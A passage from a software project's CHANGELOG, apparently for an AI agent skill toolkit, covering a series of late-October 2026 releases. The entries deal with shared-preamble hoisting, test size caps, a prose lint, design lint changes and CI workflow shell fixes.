test/eval-readiness.test.ts: a dispatched-only head decides green, red and running, a pull_request run outranks a dispatched one either way; the runs listing is no longer narrowed to pull_request. test/ship-receipt-prose.test.ts: the exact REVIEW_LOOP line with passes=2 blocking_found=1 and with passes=1 blocking_found=0, the key: value spelling with whitespace, plus a real disagreement on the same line. test/tree-receipt-stamp-sensitive.test.ts, test/train-gate.test.ts, test/gstack-ship-receipt-docs.test.ts: a tentative key moved by the restamp is a stamp in the receipt, the digest and the carry; a renamed key, a released key moved by hand or a mention of another width is not. test/gstack-restamp-queue.test.ts: the corrected --expect-order in each refusal, the own-PR-first lesson and a merged predecessor the local base does not carry. test/pr-wait.test.ts: --exclude parsing, pending and failed excluded checks, a refused required name, an unreadable required set, and the flag through prWaitMain. test/ship-queue-train-ops.test.ts and test/ship-queue-train.test.ts: the BASE_OVERLAP: lines at READY and at build, the --no-screen conflict refusal, and MERGE_CHECK: beside QUEUE_TRAIN_WAITING.

Gate integrity

No threshold, timeout, trial count or case kind changed. No skill prose changed.

[1.91.277.0] - 2026-10-27

office-hours stops carrying its own copy of the shared AskUserQuestion subsections. After the shared-preamble hoist, office-hours still inlined whole copies of the shared ### When AskUserQuestion is unavailable or a call fails and ### Format subsections, because each held one office-hours addition: the Q<N> open-question form. A session's first office-hours invocation read those subsections twice, once from the shared file and once from SKILL.md. The Q<N> form and its routing sentence now render as office-hours' own ### Open-ended questions subsection at the end of the AskUserQuestion section, so the shared subsections apply as they are and office-hours' SKILL.md drops 6,328 bytes (its parity union goes from 160,952 to 154,624, under the pre-hoist 1.18 cap).

Changed

scripts/resolvers/preamble/generate-ask-user-format.ts: office-hours' Q<N> form and "a free-text reply answers the most recent unanswered Q<N>" move into one ### Open-ended questions subsection appended to the AskUserQuestion section. The form's template and Q-numbering text are unchanged; its lead-in now also carries what the Layout line used to say, "use this form instead of a D<N> brief" and the free-text routing rule. Other skills render byte-identically.

scripts/resolvers/preamble-hoist.ts: a skill variant may add subsections after the shared ones. It keeps only its changed and added subsections, and its note says "Only these subsections replace the shared ones or, under a new heading, add to its end". Variants without additions keep the existing note.

plan-eng-review keeps its versions of the shared Tool resolution, fallback, Format, Self-check, Voice, plan-mode invocation and Plan Status Footer text, because each differs on purpose (the Scope gate, D-numbering after the target menu, the em-dash rule for composed prose, the selected-report footer, its own self-check). Its cap is unchanged.

Tests

test/helpers/skill-startup.ts applies added subsections when it builds the effective text, so the hoisted-equals-inline check covers office-hours' new layout. Its scripts/harness-version.json pin moves to the new blob, recorded non-behavioral at HARNESS_VERSION 6 with no pass-rate reset: readSkillStartup, readSharedSections and readSkillEffective return the same bytes as the pinned helper for every tier 2+ render without added subsections (735 across all hosts) and for office-hours' SKILL.md before this change, so office-hours' fixture input changes only because its prompt did.

test/preamble-hoist.test.ts checks, on every host and tier, that a cut-down variant carries the "add to its end" note exactly when it adds a subsection, and that readSkillEffective puts a changed subsection in place and appends added ones in order.

test/helpers/carve-guards.ts: office-hours' parity cap goes down from 1.2279 to 1.1796, its union as measured before the main merge (154,653 bytes; 154,624 now, 1.1793). After the v1.91.270.0 merge, test/fixtures/context-budget.json is recaptured and office-hours' ceiling goes down from 20,792 to 19,139. No cap or pin goes up.

Gate integrity

Corrections to the shared-preamble entry below: its post-v1.91.260.0 bullet should say the size allowlist carries 31 pin raises from #3433 and #3481 (23 and 8), not 30, and that alwaysOnTotal sits above main's unchanged ceiling (7,458) by the measured growth, so "all stay below main's pre-hoist values" holds for the per-skill rows only (gstack is back at main's 5,326 since the v1.91.265.0 merge). Its post-v1.91.265.0 bullet's "measured 7,542" for alwaysOnTotal is the raw bill; the ratchet's bill, which excludes test fixtures and aliases, measures 7,398.5 against the 7,542 ceiling. Its post-v1.91.270.0 bullet's "every row that rises matches main's own recapture" holds for the non-hoisted rows only (alwaysOnTotal, capy/skill/gstack, diagram, gstack, gstack-upgrade); the hoisted rows that rose (eval-plan 4,887, landing-report, plan-tune, retro, ship) are that branch's own recapture with main's growth included, and main measures them unhoisted (eval-plan 10,581).

[1.91.276.0] - 2026-10-27

Tier 2+ skills load the shared preamble once per session instead of once per invocation. Every tier 2+ SKILL.md carried the same ~23 KB of preamble (AskUserQuestion format, voice, writing style, completeness, completion protocol and more), so each skill invocation re-read text the conversation already held. That text now renders once per host into sections/preamble.md beside each tier 2+ SKILL.md. The SKILL.md keeps a short "Shared preamble (load first)" pointer naming the file and its id (a hash of the shared text before host rewrites), and asks for the Read unless the skill's own earlier Read of that file, headed by that id, is still in context, so other text that merely carries the id cannot stand in for the shared rules. Measured with Anthropic token counting: review's SKILL.md drops from 21,884 to 16,103 tokens, ship from 22,688 to 16,907, office-hours from 27,100 to 23,085 and design-review from 39,040 to 33,261. The shared file is 5,953 tokens, so a skill's first invocation in a session costs about 170 tokens more than before (about 1,900 for office-hours, about 3,800 for plan-eng-review) and every later invocation of that skill saves about 5,800 (4,000 for office-hours, 2,200 for plan-eng-review). The skip is tied to the skill's own copy of the file, so the first invocation of each different skill pays the Read again. A /autoplan run's four review-skill loads carry 17,941 fewer SKILL.md tokens (191,871 → 173,930), and /autoplan and the inline /office-hours loader skip each loaded skill's "Shared preamble (load first)" section, because the parent already holds the shared preamble.

Changed

scripts/resolvers/preamble-hoist.ts (new) renders {{PREAMBLE}} for tier 2+ skills: a section moves to the shared file only when this skill's render of it is byte-identical to the shared render, so no skill's instructions change. Sections that name the skill (the start command, Question Tuning, Repo Ownership, Search Before Building, Telemetry), text without its own heading, and skill-specific variants stay inline; a variant that keeps the shared subsection headings carries only its differing ### subsections. Tier 1 skills keep their short preamble inline. Across all 41 hoisted skills, the SKILL.md with its shared file applied holds exactly the paragraphs the pre-hoist SKILL.md held.

scripts/gen-skill-docs.ts emits sections/preamble.md per tier 2+ skill and host as a new preamble artifact kind, with the same host rewrites, install-root rewrite and runtime preludes as SKILL.md. setup already installs every skill's sections/, and gstack-built overlay and per-install renders carry the file the same way.

setup --status: a bare sections/<file> pointer counts as carved only when the skill installs a section other than the shared preamble.md, so the new file does not turn on checks for skills that inline their sections on that host.

gstack-doctor --check: the patch row finds the Codex render's model patch in the review skill's sections/preamble.md too, where the hoist moves it; without this the required row failed on every hoisted Codex install.

Loaded-skill skip lists (/autoplan's section skip list and the {{INVOKE_SKILL}} loader's defaults in scripts/resolvers/composition.ts) skip Shared preamble (load first), so a loaded plan-review or /office-hours skill no longer Reads its own shared file and re-imports the sections the parent already handles. Completeness Principle — Boil the Ocean and Completion Status Protocol leave both lists, because no loaded skill carries them inline any more, only in the shared file. Each list is 40 characters shorter, so 30 size pins go down (plan-eng-review's by 26, after main's +14 pointer growth).

PR paid planner (scripts/lib/paid-select.ts): a generated <skill>/sections/preamble.md takes its skill's SKILL.md.tmpl identity, as that skill's SKILL.md already does, so a skill whose only paid coverage is periodic defers it instead of failing screen-summary with "requires full validation".

Tests

test/helpers/docsync-fixture.ts: fixtureDocs copies the generated sections/preamble.md into the document-release and ship fixtures when the skill has one, because the hoisted SKILL.md names it as a required asset and a spawned docs audit blocks without it (hunk taken from #3472). #3472's companion test in test/ship-document-release-dispatch.test.ts removes ship's generated sections/preamble.md from its copied tree before checking that a skill without one gets none, because under the hoist every generated tier 2+ skill has one.

test/helpers/skill-startup.ts (new): readSkillStartup (SKILL.md with the shared file spliced in at its pointer, the reading order a skill sees) and readSkillEffective (each preamble section once, with this skill's variant applied). Tests that assert preamble rules are in context, E2E fixture extractors, workflow-judge bundles and install checks read these instead of SKILL.md alone; judge bundles keep their pre-hoist content.

test/helpers/carve-guards.ts: parity caps for ship, review, autoplan, spec, land-and-deploy, design-consultation, plan-devex-review, plan-ceo-review, office-hours and plan-eng-review raised to their measured unions (owner-approved, Garry 2026-10-25: "do it"), each with its reason. The union now includes the shared file; plan-ceo-review's cap (1.1006) also covers the 106-byte COMPLETENESS IS COVERAGE bullet from the completeness rewording below. office-hours and plan-eng-review count their own copies of shared sections twice until a follow-up dedupes them.

test/fixtures/skill-md-size-allowlist.json: 63 pins lowered and 26 deleted (now within the 100,000-character limit). None raised. The deferral note (owner Garry, revisit 2026-11-15) is retired here and in test/skill-md-size-guard.test.ts.

test/section-manifest-consistency.test.ts: the generated-orphan check exempts the shared sections/preamble.md only when the skill's SKILL.md carries the "Shared preamble (load first)" pointer, because that file renders from scripts/resolvers/preamble-hoist.ts rather than a section template; it still must carry the AUTO-GENERATED header, and the generation freshness check covers its content. test/paid-pr-profile.test.ts covers the planner change.

test/preamble-hoist.test.ts (new): tier 1 output is unchanged, and a tier 2+ SKILL.md with its sections/preamble.md applied holds exactly the pre-hoist preamble; the pointer opens the preamble, precedes the start command and names the shared file's id. test/gen-skill-docs-checks.test.ts checks that each host renders one shared preamble, beside every pointer and under the id the pointer names. test/host-conformance.test.ts checks that setup --status still finds a broken bare sections/ pointer when a carved Claude skill's installed sections/ is a directory symlink. A second test/preamble-hoist.test.ts case checks, on every host, tier and render option, that the pointer allows the skip only when the skill's own Read of the file is in context, never on the id alone.

Ship goldens regenerated. 27 paid-test touchfile keys gain test/helpers/skill-startup.ts, which is also a global touchfile pinned in scripts/harness-version.json (recorded non-behavioral) because test/helpers/skill-fixture.ts builds its fixtures through it, and every key that names scripts/resolvers/preamble.ts also names scripts/resolvers/preamble-hoist.ts, so a hoist change selects the same paid cases. The existing TS2769 test-typecheck baseline entry for test/gen-skill-docs-checks.test.ts is re-keyed for the new preamble artifact kind, its count unchanged.

test/skill-llm-eval.test.ts: the voice directive tone judge reads review's Voice section through readSkillEffective (SKILL.md plus its shared preamble), because the section now lives in review/sections/preamble.md. The text it judges is byte-identical to main's; rubric and thresholds are unchanged.

test/helpers/touchfiles-data.ts: ETHOS.md is registered on the 41 paid cases whose touchfiles cover plan-ceo-review or office-hours, the two skills that tell the agent to read it, so an ETHOS.md change selects those cases instead of restoring the full gate. The unknown-dependency examples in test/paid-pr-profile.test.ts, test/paid-free-boundary.test.ts and test/pr-dependencies.test.ts now use SECURITY.md and LICENSE, and the first checks that ETHOS.md maps to its reader cases.

Gate integrity

Raised: the ten parity caps above, by owner decision. No other threshold, budget, timeout, trial count, case kind or assertion weakened. The size floor, the growth ceiling and the total-corpus budget in test/skill-size-budget.test.ts now measure SKILL.md plus its shared file, which is what a skill loads at startup (corpus 3,114,885 → 2,590,484 bytes, ×0.832). test/auq-format-always-loaded.test.ts's carve-safety guard counts a skill as carved only when sections/ holds a file other than the shared preamble.md, the rule setup --status uses; the skills that leaves out keep the same AskUserQuestion checks in its per-skill loop.

Lowered: the hoist shrank every tier 2+ SKILL.md by about 22 KB, so the 20 hoisted maxSkeletonBytes caps in test/helpers/carve-guards.ts drop to the new skeleton plus each one's pre-hoist headroom (ship 81,600 → 59,771), and 42 eagerPerInvocation ceilings in test/fixtures/context-budget.json ratchet down to the recaptured figures, and after main's v1.91.255.0 merge the new captain skill's ceiling goes from 12,011 to 6,551 (hoisted) and five loaded-skill ceilings drop by 2 to 22. No ceiling went up; the four the recapture would have raised keep their old values.

Raised after main's v1.91.260.0 merge (#3433 GSTA-92 phase 2 and #3481 review convergence on top of the hoist): each value is the hoisted figure plus the measured growth those PRs added, with no template trim (owner-approved under the parity-caps rule, GSTA-92 Garry "Do it" and GSTA-96 Garry "do it"). Parity caps: ship 1.7172 (322,312 / 187,706), review 1.3136 (142,550 / 108,523), design-review 1.3758 (145,613 / 105,842). Skeleton caps lowered to the hoisted size: ship 82,700 → 60,913 (measured 60,848), design-review 137,767 → 115,947. eagerPerInvocation ceilings: ship 15,601 → 15,899, review 15,352 → 15,417, design-review 30,143 → 30,295, cso 4,660 → 4,902, gstack 5,326 → 5,346, capy/skill/gstack 3,498 → 3,899, alwaysOnTotal 7,458 → 7,546, and the new hoisted ubicloud row at 3,594. All stay below main's pre-hoist values. The size allowlist keeps the hoisted pins plus the 30 raises #3433 and #3481 made.

After main's v1.91.265.0 merge (#3430 /design-motion, #3493 ETHOS principles): context-budget.json keeps main's new design-motion row at main's value (10,409), raises eval-plan by the growth #3493 measured (3,996 → 4,442 tokens; ceiling 4,396 → 4,842, main's own 9,811), and lowers gstack back to main's 5,326 (measured 4,863) and alwaysOnTotal to 7,542 (measured 7,542).

After main's v1.91.270.0 merge (#3494, #3496, #3487): ship's parity cap goes from main's 1.7400 to 1.7432 (327,203 / 187,706), the hoist's raise plus #3487's with no trim. context-budget.json is recaptured whole with bun test/helpers/capture-context-budget.ts, which replaces the hand-kept rows in the bullet above. Every row that rises matches main's own recapture at v1.91.270.0 (alwaysOnTotal 7,769, eval-plan 4,887, gstack 5,350), and design-motion drops to 4,724 now that it loads the shared file.

After main's v1.91.273.0 merge (#3509, #3500, #3501): every cap the hoist touches is re-measured on the merged tree. Parity caps: ship 1.7500 → 1.7524 (328,918 / 187,706) and plan-eng-review 1.2400 → 1.3532 (168,601 / 124,597), main's raises plus the hoist's with no trim. Skeleton caps for skills main carved or raised drop to the hoisted skeleton plus main's headroom: investigate 52,000 → 30,210, context-restore 46,300 → 24,514, design-motion 39,900 → 18,112. Every other cap holds at its measurement. The size allowlist keeps the same 63 pins re-measured (11 plan-eng-review pins rise by #3500's 2,896 characters), and context-budget.json is recaptured: the non-hoisted rows that rise (benchmark 8,043, capy/skill/gstack 4,120) equal main's own recapture, and the hoisted context-restore (6,287) and investigate (7,795) sit below it.

After main's v1.91.274.0 merge (#3507): design-review's parity cap goes from main's 1.3681 to 1.3739 (145,410 / 105,842, the union with the shared file), and its skeleton cap drops from 137,735 to the hoisted 115,947 with main's zero headroom kept. design-html's skeleton cap drops from 56,200 to 34,410 (hoisted 34,044 plus main's 366 bytes of headroom), and its context-budget.json row from 8,926 to 8,896. Every other cap and pin holds at its measurement.

The Completeness Principle now asks for complete coverage with minimal code. Every tier-2+ skill's preamble said "the complete thing is the goal", and ETHOS.md told models to "always prefer A" because "the 70-line delta costs seconds". Models read that as permission to write more code, which is the "50-line job arriving as 400" complaint (GSTA-93). Coverage of the requirement is still non-negotiable; code beyond it is no longer a virtue.

Changed

scripts/resolvers/preamble/generate-completeness-section.ts: the default section reads "Complete coverage, minimal code": recommend full coverage of the requirement (tests, edge cases, error paths) and no code beyond it, prefer the smaller diff at equal coverage, and add no checks for impossible states. Unrelated work stays separate scope. The Completeness: X/10 scoring rule and the GPT-5.6 Sol variant are unchanged. The section is 3 characters shorter, so every regenerated skill shrinks and 89 size pins go down.

ETHOS.md: "Completeness is cheap ... always prefer A" becomes "Complete coverage, minimal code": completeness is measured in coverage, not lines; at equal coverage choose the smaller diff; no speculative abstractions, impossible-state checks or unneeded refactors. A new anti-pattern names the impossible-state fallback. Section 1's opener now says "When covering the whole requirement costs minutes more than the shortcut, cover it. Every time. Complete means complete coverage, not more code.", and "How They Work Together" says Boil the Ocean means "cover the whole requirement with the least code" instead of "do the complete thing".

plan-ceo-review/SKILL.md.tmpl: the Philosophy bullet "COMPLETENESS IS CHEAP: AI makes 70 LOC seconds. Prefer complete ~150 LOC over 90% ~80 LOC. Boil the ocean." becomes "COMPLETENESS IS COVERAGE": cover the whole requirement (tests, edge cases, error paths) rather than a 90% shortcut, add no code beyond the accepted scope (so SCOPE EXPANSION and SELECTIVE EXPANSION still build what the user accepted), and choose the smaller diff at equal coverage. plan-ceo-review is under the 100,000-character limit on every host and has no size pin, so it grows about 100 characters without a pin change.

First-run intro: the one-time Boil the Ocean intro in bin/gstack-skill-start says "complete coverage, minimal code" instead of "do the complete thing when AI makes marginal cost near-zero". The agents digest's Boil the Ocean bullet (scripts/gen-agents-digest.ts, regenerated agents-digest/gstack-AGENTS.md) says the same: "complete coverage, minimal code: cover the whole requirement (tests, edge cases, error paths) and write no code beyond it".

review/specialists/simplification.md quotes the new house rule instead of "If A is 70 lines more, choose A", and CLAUDE.md restates it in place of "Completeness is cheap ... the complete thing is the goal".

Tests

test/model-overlays.test.ts asserts the new default wording ("Complete coverage, minimal code.", "prefer the smaller diff") and checks, one sentence per rule, that the section still states full coverage of the requirement with no code beyond it, the smaller diff only at equal coverage, no checks for impossible states, and that unrelated work is separate scope that never excuses a gap.

test/ceo-workflow-clarity.test.ts checks that the plan-ceo-review Philosophy bullet still asks for the whole requirement over a 90% shortcut, no code beyond the accepted scope and the smaller diff at equal coverage, and that "COMPLETENESS IS CHEAP" and "~150 LOC" stay gone.

test/gen-skill-docs.test.ts checks that the house rule review/specialists/simplification.md quotes is still stated in ETHOS.md. test/gstack-skill-start.test.ts checks that the first-run intro says complete coverage, minimal code and never "do the complete thing".

test/fixtures/skill-md-size-allowlist.json: 89 pins lowered by 3 characters each. None raised; the plan-ceo-review rewording touches no pinned skill.

Gate integrity

No threshold, budget, timeout, trial count, case kind or assertion weakened. The section heading "Completeness Principle — Boil the Ocean" is unchanged.

[1.91.275.0] - 2026-10-27

Changed

Policy key versions are stamped, not hand-moved (lib/ship-policy.ts, .gstack/ship-policy.json): DOCS_CAPS_KEY_VERSION is 1.91.270.0, the release that shipped docs.caps (#3487 was written naming 1.91.258.0, which main stamped for another PR; a slot call never permits an edit beyond the four stamp files, so the constant could not move at the slot). gstack's own policy now lists lib/ship-policy.ts under stamp_paths with the _KEY_VERSION = '{version}' template in stamp_patterns: a new key's constant is written as a tentative future version clear of main's pace (the next minor) and gstack-restamp's stamp_paths stage moves it to the allocated version at the slot stamp, reading the base branch's policy, so the stage is live for the PRs after this one; the tree receipt's stamp-only check still accepts that move only when the tentative value equals the base version at the slot, so a PR that adds a key cannot clear the train until #3512 lands. test/gstack-ship-policy.test.ts adds the check the incident lacked: a released key's version must be a CHANGELOG heading whose entry names the key, so a tentative value no stamp moved fails (keys from before review_scope are exempt).

[1.91.274.0] - 2026-10-27

/design-html and /design-review now run the design lint, and its copy tier reports every content and ship-floor tell at its line (hallmark phase 2, GSTA-92; Garry 2026-10-26 "Do it", option a). The two design skills still called gstack-design-craft, which counted tells without positions and kept accepted exceptions in finalized.json. The lint already carried the same ids, so the skills now call it, the copy tier has its own patterns with line numbers, and a page answers a tell with a waiver comment beside it instead of a side record.

Changed

/design-html Step 4 runs gstack-design-lint <page> --render after the Slop Gate and reads its exit code: 2 fixes every blocks line, 1 fixes or waives each ask line, 0 lists polish as notes. A missing LINT_SUMMARY, a render line or render=skipped is said plainly and the static lines stand.

Waivers live in the page. A real customer named Nexus or a supplied 50% figure gets , written only for what the user supplied or confirmed. This supersedes #3422's persisted craft exceptions: --accepted and finalized.json's craft_exceptions are gone, and the hand-off lists every waiver.

Copy-tier tiers: placeholder-name, placeholder-brand, lorem, round-number and needs-proof move from blocks to ask, so the waiver above can answer them. /design-review still files a waived needs-proof or lorem, which a live page cannot carry.

/design-review's craft audit runs the lint on each saved page: blocks and ask lines are category 9 findings at their line, waived lines are listed with their reason, empty-mount-node sends the audit to the saved DOM. A saved live page has lost its linked CSS, so the audit files only its copy-tier (craft) lines there and judges the CSS rules by eye.

lib/design-lint/rules/copy.ts holds the copy tier's own patterns (moved from lib/design-craft.ts), reporting each tell at its line with what matched. It reads visible text, script bodies and inline handlers (single-quoted included) and the parsed tags, so a hydration payload, commented-out markup or a <title> string inside a script no longer counts.

Added

empty-mount-node (ask, page only): a body with no text, a <noscript> notice aside, that loads a script is a client-rendered shell; the lint says it read none of its content instead of passing it.

Removed

bin/gstack-design-craft, lib/design-craft.ts and test/design-craft.test.ts. Their checks are in the lint's copy tier and its tests; the archetype handoff tests moved to test/design-craft-resolvers.test.ts.

Tests

test/design-lint.test.ts: the copy tier at its lines with the catalog's fixes, the clean page with inlined Pretext, the skip link and aria-current, visible-text reading, the four checker limits #3433 documented, and the shell check (noscript, image-only page, component scope). test/design-lint-recorded.test.ts reads the recorded page's buzzwords at lines 32 and 37.

The design-html-slop-gate paid case looks for a gstack-design-lint call, and its touchfiles select on lib/design-lint/** and bin/gstack-design-lint.

[1.91.273.0] - 2026-10-27

A PR body opens with the problem it solves, says what else it touches, and the prose /ship publishes is checked for autopilot tells before it goes out. A /ship PR body began with a list of what changed, so a reader had to work out the problem from the inventory; nothing in the body said what else the change could break or how sure the author was that it would not; and a CHANGELOG entry or PR body could carry the words a model writes when it is not thinking (a vibrant tapestry of enhancements, not just X, but Y, an arrow where a sentence belongs) because nothing checked prose mechanically. Garry approved the tstack and pstack absorb plans on 2026-10-26 ("Do it, send"); this release carries tstack item 4 and pstack items 2(a) and 11.

Added

bin/gstack-prose-lint, lib/prose-lint.ts: the AI tells a regular expression can decide, as a free check over the files it is given. Eight rules: vocabulary (the autopilot word list), not-just-but, metaphor-noun (each with the plain word to use), mid-sentence-colon (a colon doing a conjunction's job; a label, a list introducer or a time is not one), inline-header-list (a bold label that restates its line), arrow (a measurement such as 1.6740 → 1.7010 and the before → after heading pass), dropped-article (a bare noun opening a sentence, with compound nouns such as test runs and merge commits left alone) and unclosed-block (a fence or HTML comment left open, since nothing after it was read). Fenced code, inline code, URLs, HTML comments and quoted words are never read, so the problem a ## Why quotes stays in the person's words. --unreleased reads only a CHANGELOG's ## [Unreleased] block, --base <ref> only the lines the working tree added since the merge base, and --sections <a,b> only the text under those ## headings, so an older entry or a verbatim tool section is never judged; --gate turns a finding into exit 1 with PROSE_LINT_FOUND (docs/troubleshooting.md#prose-lint-found); without it the run is a report and exits 0. gstack's own templates and docs keep their em dashes, because the lint gates only the CHANGELOG entry and the PR body sections the author writes. The word lists come from pstack's unslop skill (Lauren Tan, MIT; NOTICE.md), the rules are written in gstack's words.

## Blast radius in the /ship PR body (ship/sections/pr-body.md, and capy-pr.md after ## Why on the Capy path): one or two sentences on what else the change touches and the one fact that makes that safe, with the rung of the evidence ladder the fact reached (a file:line read, a walked failure path, a script that ran, a repro). The ladder itself is the /investigate skill's Blast radius section once its own lane lands; until then the item's inline rung list is the ladder.

Quality gate workflow step: gstack-prose-lint CHANGELOG.md --unreleased --gate runs on every PR over the [Unreleased] block, which is the entry the PR adds until the train stamps it; a stamped or absent block is none and passes.

Changed

ship/sections/pr-body.md Step 19 ## Summary: the first paragraph states the problem in the user's words, then the fix and what they get now; commit themes follow, and the body is never an inventory or a commit list. The instruction carries one BAD/GOOD pair. Step 18's new-PR title keeps its v<version> prefix and the text after it names what the user gets, not the mechanism. The compose block runs gstack-prose-lint --sections 'Why,Summary,Blast radius' --gate over the first body draft before the drafts are joined, so a review line such as Problem → what you did, an approvals row or an image's text is never read, a finding in a section the author wrote stops composition with the lines to rewrite, and a draft that lost one of those headings is a usage error rather than a pass.

ship/sections/capy-pr.md ## Why: the first sentence quotes the person's problem, the rest say what changes for them, with its own BAD/GOOD pair; the section order gains ## Blast radius.

ship/sections/changelog.md Step 13: item 7 lints the lines this branch added to CHANGELOG.md (--base origin/<base> --gate) and the entry is rewritten until the trailer is PROSE_LINT: ok.

Tests

test/prose-lint.test.ts: one positive and one negative case per rule, masking of code, URLs and comments with line numbers held, the --unreleased and --base selections against a fixture CHANGELOG and a temporary repository, the exit codes and the PROSE_LINT_FOUND line, the --sections selection, a multi-line HTML comment masked through its close, the template and workflow wiring, and the templates themselves getting a report rather than a gate. Fixtures: test/fixtures/prose-lint/{slopped,clean}-changelog.md.

Gate integrity

No threshold, timeout, trial count or case kind changed. The ship parity maxSizeRatio in test/helpers/carve-guards.ts moves 1.7400 → 1.7500 (measured 328,319 / 187,706 = 1.7491 on the tree with v1.91.270.0 merged) for the pr-body, capy-pr and changelog section text above; this lane leaves the ship skeleton untouched, so no host pin in test/fixtures/skill-md-size-allowlist.json moves. The raise is this lane's own call, made under Garry's 2026-10-26 "Do it, send" on the two absorb plans (which budget these ship sections; the quote approves the plans, not the number); the skeleton is unchanged, so no host pin moves.

[1.91.272.0] - 2026-10-27

Added

Four lazily read passes absorbed from pstack (Lauren Tan, MIT; ideas rewritten in gstack's words, NOTICE.md; Garry, 2026-10-26: "Do it, send"). /investigate gains sections/blast-radius.md, read before fixing a shared helper, library call or data format or when asked what a change could break: name the one fact the change is safe because of, climb the five-rung evidence ladder (said so, pointed at it, walked the failure, ran it, reproduced it) and say where you stopped, look where grep stops (library source at the pinned version, timing, the JSON an API returns, a column, a wire format, code three hops away), and list confirmed and cleared risks apart; Phase 3's red flags add the sharper trigger before the 3-strike rule: two fixes that shared one premise and failed the same gate mean the premise is written down and tested before a third fix. /context-restore is carved for the first time: when Step 1 prints NO_CHECKPOINTS, sections/transcripts.md rebuilds the brief from this workspace's own transcripts (Claude Code ~/.claude/projects/<slug>/*.jsonl, Codex ~/.codex/sessions/ filtered by cwd, Capy none, from a transcripts table in hosts/*.ts rendered by the new {{TRANSCRIPT_SOURCES}} and {{TRANSCRIPT_DISCOVERY}} resolvers), a fixed window (7 days by default, never quietly narrowed), never another project's folder, cheap subagents that return only findings, redaction before anything leaves the machine, git and gh verifying every PR and branch, and a Capsule / Threads (one status tag each) / Problems / Next move brief with an offer to save it as a checkpoint. /benchmark is carved for the first time: sections/vet-the-number.md, read before Phase 5 reports any comparison, asks the seven questions (why not double: name the limiter; was it tuned; did it break a limit; did it error; does it reproduce over at least 5 alternating runs, a gap smaller than the run-to-run variation being no difference; does it matter end to end; did the work even happen) and ends with a verdict of faster, slower, no measurable difference or inconclusive. /plan-eng-review's lazy review section gains the pass "Two shapes before one (design-twice)" inside Section 1 (Architecture review), run only when the plan introduces a new module, service, package or boundary: a second structurally distinct shape compared on interface depth, and the eight design red flags written for agent contributors (shallow module, information leakage, temporal decomposition, pass-through method, split ownership, two ways to do one task, importable internals, hand-synced list); the autoplan runner's checklist maps the pass, and the skeleton, manifest and methodology bundle are unchanged. The transcript table each host renders names only that host's store (a Codex render never names ~/.claude/).

Tests

test/context-restore-transcripts.test.ts (new): the carve shape, the host table against hosts/*.ts, and the discovery block run against a fixture transcript (test/fixtures/context-restore-transcript.jsonl): it lists this workspace's files inside the window, not a 10-day-old one, never the sibling project's, prints none on Capy and for a missing folder, and the Codex render keeps only the rollout whose cwd is this workspace. test/pstack-sections.test.ts (new): benchmark's and plan-eng-review's carve shape and tokens, and the credit line plus NOTICE.md entry on every pstack-derived section. test/investigate-recipes.test.ts: the sixth section, its Phase 4 pointer and the shared-premise red flag.

Gate integrity

No threshold, timeout, trial count or case kind changed. test/helpers/carve-guards.ts: investigate's measured skeleton 51,532 → 51,623 inside the unchanged 52,000 cap; plan-eng-review's maxSizeRatio 1.2196 → 1.2400 for the 2.4 KB pass joining the lazy section (measured 154,366 / 124,597 = 1.2389; skeleton unchanged at 51,670); new entries for context-restore (skeleton 45,848 ≤ 46,300, union 52,510 ≥ 50,000) and benchmark (skeleton 30,781 ≤ 31,300, union 34,527 ≥ 33,000), each with a periodic carve-section-loading-<skill> case and its touchfiles. The eleven gstack-plan-eng-review pins in test/fixtures/skill-md-size-allowlist.json move to their exact rendered sizes, 2,896 characters each, for the inlined pass; owner decision: pstack item 9, Garry 2026-10-26 "do it". The Codex render of plan-eng-review sits 423 bytes under the 160,000-byte host ceiling on its largest model overlay (gpt-5.4: 159,588 bytes; the first 4.2 KB draft of the pass went over it): the pass was cut to fit, and the next byte added to that skill on an external host needs the deferred preamble hoist or a carve on every host. test/paid-shards.test.ts's registry walk gets a 30 s budget (it ran 4.97 s at main on a 4-core machine against a 5 s default). The two new periodic cases take the full census from 38 to 39 slices, so evals-periodic.yml's eval-slices max-parallel (and the planner's --max-parallel) goes 38 → 40; every slice still starts at once. test/fixtures/context-restore-transcript.jsonl is declared in FREE_FIXTURES.

[1.91.271.0] - 2026-10-27

The merge-train bisect can run in CI. Every train-bisect job of evals.yml had died at its first step: a container job's run steps default to sh -e {0} (dash in the CI image), and "Verify the prefix checkout" used the bash-only ${PREFIX_SHA:0:12}, so run 40456150409 (the first bisect ever dispatched, gate.bisect-b3d085bb87ee-d9b0d60082cc) failed all three prefixes with Bad substitution (exit 2) before a case ran; the second bisect run was cancelled. The job shipped in 1.91.162.0 (GSTA-49 T1b) and had never passed. Found while GSTA-96's auq-format-gate red put a train on the bisect path.

Fixed

.github/workflows/evals.yml train-bisect: the job declares defaults.run.shell: bash, so every one of its run steps runs under bash -e -o pipefail like the steps on bare runners do. No other run step whose effective shell is sh uses a bash construct (the new lint below checked all 23 of them across evals.yml, evals-periodic.yml, evals-marathon.yml and eval-sweep.yml).

Tests

test/workflow-shell-lint.test.ts (new, free, offline): parses every workflow under .github/workflows/ and every composite action under .github/actions/, computes each run step's effective shell (step shell → job defaults.run.shell → workflow defaults.run.shell → GitHub's default: sh in a container job, pwsh on Windows, bash otherwise), and fails on a bash-only construct in a step whose effective shell is sh (${x:0:n}, ${x//…}, ${!x}, [[, arrays, declare -a/mapfile, set -o pipefail, PIPESTATUS, <<<, <(…), $'…', source, function). The detector has positive controls for each construct and negative controls for the POSIX forms (${x:-d}, ${x#p}, $(…), $((…)), comments). A fourth test pins the train-bisect job to bash by name; it was red at d9b0d60 and is green with the fix.

Gate integrity

No threshold, trial count, case kind, budget or reservation changed; the bisect's cases, prefixes and spend path are untouched. The job's run steps gain pipefail from bash's explicit-shell default; the one that pipes (the Codex login) already ran under shell: bash with set -euo pipefail, and the others run single commands.

[1.91.270.0] - 2026-10-27

Added

Repositories without a version source (ship/SKILL.md Step 12, ship/sections/changelog.md, gstack-ship-receipt write): a repo with no .gstack/version-path pin and no VERSION ships without a version change: Version bump: skipped (no version source: <path, reason>), no VERSION is ever created, the PR title is unprefixed and the run log records "version":null; the receipt records "version": "none" when the repo also has no package.json#version, no policy stamp file and no CHANGELOG. A repo with no CHANGELOG (the policy's changelog is null or the file is absent) prints CHANGELOG: skipped (none at <path>) and never creates the file (ship-policy.md#ship-receipt).

